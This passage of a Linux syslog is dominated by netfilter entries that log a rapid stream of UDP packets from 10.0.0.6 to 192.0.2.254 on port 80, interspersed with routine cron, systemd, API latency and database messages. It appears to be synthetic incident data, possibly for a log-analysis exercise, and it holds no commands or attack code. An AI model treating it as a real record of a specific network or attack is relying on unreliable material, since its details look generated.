SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17699 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17659 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12233 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19881 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38115 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38336 DPT=80 +Aug 16 18:03:20 systemd[1]: Starting Clean php session files... +Aug 16 18:03:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20847 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49151 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63801 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48936 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20689 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51411 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37556 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51116 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61954 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55316 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39425 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36854 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42118 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47391 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10981 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31165 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53388 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31162 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13086 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50706 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24146 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49301 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20349 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10848 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12282 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24597 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24534 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10527 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18602 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=22165 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33572 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37852 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65053 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44726 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15271 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65506 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13690 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60558 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61162 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56392 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36287 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45001 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60142 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47048 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42564 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=59328 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=57742 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45670 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13879 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20534 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54853 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48343 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63041 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42656 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24569 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20595 DPT=80 +Aug 16 18:04:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40233 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13933 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41357 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28065 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23378 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56103 DPT=80 +Aug 16 18:04:05 CRON[1949]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54739 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56220 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24091 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19282 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37673 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13002 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=52713 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=64096 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20652 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24657 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54132 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26012 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47862 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51112 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45603 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37886 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63452 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37101 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33703 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13610 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31983 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29991 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12037 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12282 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43230 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62580 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19340 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50439 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48912 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29429 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25860 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10832 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58001 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=46054 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=57704 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55566 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48500 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23538 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55194 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36830 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25113 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=14946 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23295 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19027 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25888 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63990 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60413 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34348 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47459 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58043 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50051 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20001 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63208 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28440 DPT=80 +Aug 16 18:04:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44301 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40657 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11206 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16071 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11069 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17933 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25415 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43842 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15155 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60887 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=32858 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49319 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13195 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13473 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17734 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19708 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56814 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56738 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19163 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=59019 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11453 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39528 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44882 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60234 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38816 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53010 DPT=80 +Aug 16 18:05:00 systemd[1]: Starting Clean php session files... +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20038 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33151 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16515 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34750 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47539 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21594 DPT=80 +Aug 16 18:05:05 CRON[1961]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=30231 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44176 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61296 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45753 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41365 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36959 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34683 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33015 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62500 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43878 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16048 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26247 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55976 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=30157 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20198 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62342 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36537 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16298 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12766 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49826 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12649 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48564 DPT=80 +Aug 16 18:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61292 DPT=80 +Aug 16 18:05:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13636 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42175 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=52161 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29045 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50921 DPT=80 +Aug 16 18:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36824 DPT=80 +Aug 16 18:05:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53695 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21380 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 